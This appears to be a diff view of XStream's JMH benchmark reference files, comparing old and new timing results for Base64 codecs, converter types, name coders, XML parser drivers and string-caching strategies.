xstream-jmh/src/reference/base64.txt less more

0		Benchmark (codec) (data) (operation) Mode Cnt Score Error Units
1		Base64Benchmark.run xstreamInternal small encode avgt 16 370.353 ± 26.364 ns/op
2		Base64Benchmark.run xstreamInternal small decode avgt 16 387.549 ± 2.753 ns/op
3		Base64Benchmark.run xstreamInternal medium encode avgt 16 75746.500 ± 388.028 ns/op
4		Base64Benchmark.run xstreamInternal medium decode avgt 16 69507.593 ± 4615.284 ns/op
5		Base64Benchmark.run xstreamInternal big encode avgt 16 21809550.623 ± 287457.190 ns/op
6		Base64Benchmark.run xstreamInternal big decode avgt 16 22860405.161 ± 116129.778 ns/op
7		Base64Benchmark.run dataTypeConverter small encode avgt 16 113.739 ± 6.015 ns/op
8		Base64Benchmark.run dataTypeConverter small decode avgt 16 146.704 ± 7.826 ns/op
9		Base64Benchmark.run dataTypeConverter medium encode avgt 16 27994.835 ± 250.706 ns/op
10		Base64Benchmark.run dataTypeConverter medium decode avgt 16 31775.991 ± 997.564 ns/op
11		Base64Benchmark.run dataTypeConverter big encode avgt 16 11212057.101 ± 316407.971 ns/op
12		Base64Benchmark.run dataTypeConverter big decode avgt 16 7831267.697 ± 26381.875 ns/op
13		Base64Benchmark.run javaUtil small encode avgt 16 119.151 ± 0.623 ns/op
14		Base64Benchmark.run javaUtil small decode avgt 16 222.355 ± 10.904 ns/op
15		Base64Benchmark.run javaUtil medium encode avgt 16 19877.310 ± 1172.332 ns/op
16		Base64Benchmark.run javaUtil medium decode avgt 16 32920.559 ± 274.879 ns/op
17		Base64Benchmark.run javaUtil big encode avgt 16 9205883.279 ± 269329.433 ns/op
18		Base64Benchmark.run javaUtil big decode avgt 16 8964062.065 ± 394932.790 ns/op
19		Base64Benchmark.run commonsCodec small encode avgt 16 3416.205 ± 3.382 ns/op
20		Base64Benchmark.run commonsCodec small decode avgt 16 3514.384 ± 11.939 ns/op
21		Base64Benchmark.run commonsCodec medium encode avgt 16 78348.010 ± 2924.398 ns/op
22		Base64Benchmark.run commonsCodec medium decode avgt 16 74262.708 ± 3031.596 ns/op
23		Base64Benchmark.run commonsCodec big encode avgt 16 22347368.903 ± 178585.361 ns/op
24		Base64Benchmark.run commonsCodec big decode avgt 16 23798441.056 ± 195917.888 ns/op
25		Base64Benchmark.run migBase small encode avgt 16 113.382 ± 5.283 ns/op
26		Base64Benchmark.run migBase small decode avgt 16 171.957 ± 1.520 ns/op
27		Base64Benchmark.run migBase medium encode avgt 16 25132.013 ± 313.813 ns/op
28		Base64Benchmark.run migBase medium decode avgt 16 34109.501 ± 834.604 ns/op
29		Base64Benchmark.run migBase big encode avgt 16 10762327.746 ± 32072.333 ns/op
30		Base64Benchmark.run migBase big decode avgt 16 8194853.894 ± 34107.972 ns/op
	0	Benchmark (codec) (data) (driverFactory) (operation) Mode Cnt Score Error Units
	1	Base64Benchmark.run xstreamInternal small N/A encode avgt 16 426.295 ± 30.263 ns/op
	2	Base64Benchmark.run xstreamInternal small N/A decode avgt 16 390.516 ± 4.600 ns/op
	3	Base64Benchmark.run xstreamInternal medium N/A encode avgt 16 78991.509 ± 172.426 ns/op
	4	Base64Benchmark.run xstreamInternal medium N/A decode avgt 16 96237.821 ± 8716.671 ns/op
	5	Base64Benchmark.run xstreamInternal big N/A encode avgt 16 28024694.588 ± 777818.782 ns/op
	6	Base64Benchmark.run xstreamInternal big N/A decode avgt 16 26005576.460 ± 95469.494 ns/op
	7	Base64Benchmark.run dataTypeConverter small N/A encode avgt 16 116.346 ± 4.724 ns/op
	8	Base64Benchmark.run dataTypeConverter small N/A decode avgt 16 144.778 ± 4.741 ns/op
	9	Base64Benchmark.run dataTypeConverter medium N/A encode avgt 16 20738.849 ± 96.411 ns/op
	10	Base64Benchmark.run dataTypeConverter medium N/A decode avgt 16 26443.941 ± 35.307 ns/op
	11	Base64Benchmark.run dataTypeConverter big N/A encode avgt 16 10402424.065 ± 292760.969 ns/op
	12	Base64Benchmark.run dataTypeConverter big N/A decode avgt 16 7684177.150 ± 452226.536 ns/op
	13	Base64Benchmark.run javaUtil small N/A encode avgt 16 96.584 ± 0.382 ns/op
	14	Base64Benchmark.run javaUtil small N/A decode avgt 16 83.813 ± 2.605 ns/op
	15	Base64Benchmark.run javaUtil medium N/A encode avgt 16 14990.533 ± 1510.286 ns/op
	16	Base64Benchmark.run javaUtil medium N/A decode avgt 16 13194.678 ± 21.584 ns/op
	17	Base64Benchmark.run javaUtil big N/A encode avgt 16 6210509.128 ± 70567.009 ns/op
	18	Base64Benchmark.run javaUtil big N/A decode avgt 16 5379677.044 ± 162435.588 ns/op
	19	Base64Benchmark.run commonsCodec small N/A encode avgt 16 6402.767 ± 13.172 ns/op
	20	Base64Benchmark.run commonsCodec small N/A decode avgt 16 6325.007 ± 7.691 ns/op
	21	Base64Benchmark.run commonsCodec medium N/A encode avgt 16 68730.521 ± 2538.713 ns/op
	22	Base64Benchmark.run commonsCodec medium N/A decode avgt 16 65192.120 ± 4534.865 ns/op
	23	Base64Benchmark.run commonsCodec big N/A encode avgt 16 30413559.920 ± 211444.968 ns/op
	24	Base64Benchmark.run commonsCodec big N/A decode avgt 16 21816582.642 ± 616700.770 ns/op
	25	Base64Benchmark.run migBase small N/A encode avgt 16 98.949 ± 2.753 ns/op
	26	Base64Benchmark.run migBase small N/A decode avgt 16 124.609 ± 0.332 ns/op
	27	Base64Benchmark.run migBase medium N/A encode avgt 16 19505.761 ± 1294.819 ns/op
	28	Base64Benchmark.run migBase medium N/A decode avgt 16 27299.148 ± 908.642 ns/op
	29	Base64Benchmark.run migBase big N/A encode avgt 16 9984923.156 ± 13611.711 ns/op
	30	Base64Benchmark.run migBase big N/A decode avgt 16 5733157.575 ± 32241.447 ns/op
	31

-3

xstream-jmh/src/reference/converterType.txt less more

0	0	Benchmark Mode Cnt Score Error Units
1		ConverterTypeBenchmark.custom avgt 16 9176744.283 ± 596076.907 ns/op
2		ConverterTypeBenchmark.javaBean avgt 16 18353984.976 ± 1308243.279 ns/op
3		ConverterTypeBenchmark.reflection avgt 16 23371721.858 ± 145348.676 ns/op
	1	ConverterTypeBenchmark.custom avgt 16 9511483.088 ± 319352.540 ns/op
	2	ConverterTypeBenchmark.javaBean avgt 16 18956037.656 ± 1379941.067 ns/op
	3	ConverterTypeBenchmark.reflection avgt 16 22467750.653 ± 26871.357 ns/op

-6

xstream-jmh/src/reference/nameCoder.txt less more

0		Benchmark Mode Cnt Score Error Units
1		NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4350643.046 ± 24055.209 ns/op
2		NameCoderBenchmark.dollarCoding avgt 25 4621025.135 ± 248574.503 ns/op
3		NameCoderBenchmark.escapedUnderscoreCoding avgt 25 5896886.514 ± 44560.928 ns/op
4		NameCoderBenchmark.noCoding avgt 25 4190972.243 ± 149611.494 ns/op
5		NameCoderBenchmark.xmlFriendlyCoding avgt 25 4938586.549 ± 181401.642 ns/op
	0	Benchmark Mode Cnt Score Error Units
	1	NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4486384.078 ± 76466.208 ns/op
	2	NameCoderBenchmark.dollarCoding avgt 25 5006636.275 ± 393688.573 ns/op
	3	NameCoderBenchmark.escapedUnderscoreCoding avgt 25 6714770.410 ± 140953.970 ns/op
	4	NameCoderBenchmark.noCoding avgt 25 4068459.179 ± 187522.480 ns/op
	5	NameCoderBenchmark.xmlFriendlyCoding avgt 25 5017414.939 ± 233268.851 ns/op

+37

-37

xstream-jmh/src/reference/parsers.txt less more

0		Benchmark (driverFactory) Mode Cnt Score Error Units
1		ParserBenchmark.parseBigText Xpp3 avgt 15 2155470.575 ± 23234.958 ns/op
2		ParserBenchmark.parseBigText kXML2 avgt 15 3663477.841 ± 25428.211 ns/op
3		ParserBenchmark.parseBigText JDKStax avgt 15 7444273.102 ± 58755.804 ns/op
4		ParserBenchmark.parseBigText Woodstox avgt 15 1845769.311 ± 4622.237 ns/op
5		ParserBenchmark.parseBigText BEAStax avgt 15 2879876.995 ± 59633.850 ns/op
6		ParserBenchmark.parseBigText DOM avgt 15 9710278.896 ± 31003.340 ns/op
7		ParserBenchmark.parseBigText DOM4J avgt 15 7452345.867 ± 23882.243 ns/op
8		ParserBenchmark.parseBigText JDom avgt 15 6387821.035 ± 84970.337 ns/op
9		ParserBenchmark.parseBigText JDom2 avgt 15 5921949.583 ± 34834.810 ns/op
10		ParserBenchmark.parseBigText Xom avgt 15 8204769.944 ± 114956.192 ns/op
11		ParserBenchmark.parseBigText Binary avgt 15 1129812.942 ± 16087.727 ns/op
12		ParserBenchmark.parseBigText Jettison avgt 15 3016232.225 ± 25147.822 ns/op
13		ParserBenchmark.parseManyChildren Xpp3 avgt 15 661082.180 ± 6313.751 ns/op
14		ParserBenchmark.parseManyChildren kXML2 avgt 15 854613.418 ± 23502.923 ns/op
15		ParserBenchmark.parseManyChildren JDKStax avgt 15 706572.092 ± 4563.202 ns/op
16		ParserBenchmark.parseManyChildren Woodstox avgt 15 632147.776 ± 10452.976 ns/op
17		ParserBenchmark.parseManyChildren BEAStax avgt 15 666062.149 ± 2243.640 ns/op
18		ParserBenchmark.parseManyChildren DOM avgt 15 53954694.751 ± 64528.143 ns/op
19		ParserBenchmark.parseManyChildren DOM4J avgt 15 93099746.029 ± 1777192.772 ns/op
20		ParserBenchmark.parseManyChildren JDom avgt 15 6898339.792 ± 94446.669 ns/op
21		ParserBenchmark.parseManyChildren JDom2 avgt 15 8723291.385 ± 91814.554 ns/op
22		ParserBenchmark.parseManyChildren Xom avgt 15 42486494.920 ± 833304.520 ns/op
23		ParserBenchmark.parseManyChildren Binary avgt 15 383203.739 ± 3522.118 ns/op
24		ParserBenchmark.parseManyChildren Jettison avgt 15 555908.503 ± 2937.376 ns/op
25		ParserBenchmark.parseNestedElements Xpp3 avgt 15 12444913.194 ± 216691.144 ns/op
26		ParserBenchmark.parseNestedElements kXML2 avgt 15 34372562.351 ± 393544.126 ns/op
27		ParserBenchmark.parseNestedElements JDKStax avgt 15 617636.917 ± 3232.109 ns/op
28		ParserBenchmark.parseNestedElements Woodstox avgt 15 604788.852 ± 12685.186 ns/op
29		ParserBenchmark.parseNestedElements BEAStax avgt 15 572549.126 ± 4791.275 ns/op
30		ParserBenchmark.parseNestedElements DOM avgt 15 5148010.389 ± 46007.206 ns/op
31		ParserBenchmark.parseNestedElements DOM4J avgt 15 5533035.930 ± 101440.131 ns/op
32		ParserBenchmark.parseNestedElements JDom avgt 15 14111857.552 ± 448478.887 ns/op
33		ParserBenchmark.parseNestedElements JDom2 avgt 15 10579620.188 ± 55254.011 ns/op
34		ParserBenchmark.parseNestedElements Xom avgt 15 8086714.065 ± 57941.667 ns/op
35		ParserBenchmark.parseNestedElements Binary avgt 15 260233.635 ± 4080.416 ns/op
36		ParserBenchmark.parseNestedElements Jettison avgt 15 619961.028 ± 7869.358 ns/op
	0	Benchmark (driverFactory) Mode Cnt Score Error Units
	1	ParserBenchmark.parseBigText Xpp3 avgt 15 2076542.383 ± 21070.325 ns/op
	2	ParserBenchmark.parseBigText kXML2 avgt 15 3609529.640 ± 70339.168 ns/op
	3	ParserBenchmark.parseBigText JDKStax avgt 15 8449107.541 ± 61967.793 ns/op
	4	ParserBenchmark.parseBigText Woodstox avgt 15 1958090.473 ± 16778.643 ns/op
	5	ParserBenchmark.parseBigText BEAStax avgt 15 3208123.897 ± 77313.722 ns/op
	6	ParserBenchmark.parseBigText DOM avgt 15 10587727.502 ± 102744.156 ns/op
	7	ParserBenchmark.parseBigText DOM4J avgt 15 8680900.188 ± 54539.385 ns/op
	8	ParserBenchmark.parseBigText JDom avgt 15 6541414.372 ± 96753.674 ns/op
	9	ParserBenchmark.parseBigText JDom2 avgt 15 5870155.438 ± 25749.627 ns/op
	10	ParserBenchmark.parseBigText Xom avgt 15 8062184.585 ± 37582.497 ns/op
	11	ParserBenchmark.parseBigText Binary avgt 15 1057890.361 ± 18005.100 ns/op
	12	ParserBenchmark.parseBigText Jettison avgt 15 3610357.375 ± 8660.257 ns/op
	13	ParserBenchmark.parseManyChildren Xpp3 avgt 15 717142.178 ± 9704.905 ns/op
	14	ParserBenchmark.parseManyChildren kXML2 avgt 15 886358.766 ± 12643.107 ns/op
	15	ParserBenchmark.parseManyChildren JDKStax avgt 15 771151.977 ± 10866.825 ns/op
	16	ParserBenchmark.parseManyChildren Woodstox avgt 15 764703.865 ± 4983.789 ns/op
	17	ParserBenchmark.parseManyChildren BEAStax avgt 15 862349.819 ± 23927.845 ns/op
	18	ParserBenchmark.parseManyChildren DOM avgt 15 58925980.509 ± 521905.776 ns/op
	19	ParserBenchmark.parseManyChildren DOM4J avgt 15 79133279.111 ± 1467045.110 ns/op
	20	ParserBenchmark.parseManyChildren JDom avgt 15 6842504.530 ± 143906.198 ns/op
	21	ParserBenchmark.parseManyChildren JDom2 avgt 15 9833407.570 ± 63131.868 ns/op
	22	ParserBenchmark.parseManyChildren Xom avgt 15 33057256.100 ± 297855.633 ns/op
	23	ParserBenchmark.parseManyChildren Binary avgt 15 385824.031 ± 2954.123 ns/op
	24	ParserBenchmark.parseManyChildren Jettison avgt 15 594530.928 ± 4278.299 ns/op
	25	ParserBenchmark.parseNestedElements Xpp3 avgt 15 12332209.281 ± 64122.445 ns/op
	26	ParserBenchmark.parseNestedElements kXML2 avgt 15 37562872.191 ± 643160.833 ns/op
	27	ParserBenchmark.parseNestedElements JDKStax avgt 15 630602.435 ± 5082.416 ns/op
	28	ParserBenchmark.parseNestedElements Woodstox avgt 15 852446.766 ± 6384.039 ns/op
	29	ParserBenchmark.parseNestedElements BEAStax avgt 15 798003.236 ± 20589.177 ns/op
	30	ParserBenchmark.parseNestedElements DOM avgt 15 5547526.718 ± 38346.961 ns/op
	31	ParserBenchmark.parseNestedElements DOM4J avgt 15 5501080.957 ± 46423.792 ns/op
	32	ParserBenchmark.parseNestedElements JDom avgt 15 19329741.881 ± 366881.645 ns/op
	33	ParserBenchmark.parseNestedElements JDom2 avgt 15 18291190.166 ± 54336.659 ns/op
	34	ParserBenchmark.parseNestedElements Xom avgt 15 5842749.643 ± 55364.906 ns/op
	35	ParserBenchmark.parseNestedElements Binary avgt 15 255649.550 ± 4896.859 ns/op
	36	ParserBenchmark.parseNestedElements Jettison avgt 15 674957.675 ± 6296.073 ns/op

-6

xstream-jmh/src/reference/stringConverter.txt less more

0	0	Benchmark Mode Cnt Score Error Units
1		StringConverterBenchmark.intern avgt 16 12576002.757 ± 850369.771 ns/op
2		StringConverterBenchmark.limitedConcurrentMap avgt 16 10411028.373 ± 76602.128 ns/op
3		StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 10948390.386 ± 84458.276 ns/op
4		StringConverterBenchmark.nonCaching avgt 16 9422597.717 ± 39021.126 ns/op
5		StringConverterBenchmark.unlimitedConcurrentMap avgt 16 10666492.267 ± 285717.245 ns/op
6		StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11917404.787 ± 1224543.882 ns/op
	1	StringConverterBenchmark.intern avgt 16 12528650.663 ± 56567.910 ns/op
	2	StringConverterBenchmark.limitedConcurrentMap avgt 16 10583918.884 ± 212931.336 ns/op
	3	StringConverterBenchmark.limitedSynchronizedWeakCache avgt 16 11104926.490 ± 567963.839 ns/op
	4	StringConverterBenchmark.nonCaching avgt 16 9381243.000 ± 11471.064 ns/op
	5	StringConverterBenchmark.unlimitedConcurrentMap avgt 16 11762308.937 ± 510331.968 ns/op
	6	StringConverterBenchmark.unlimitedSynchronizedWeakCache avgt 16 11092087.483 ± 546550.827 ns/op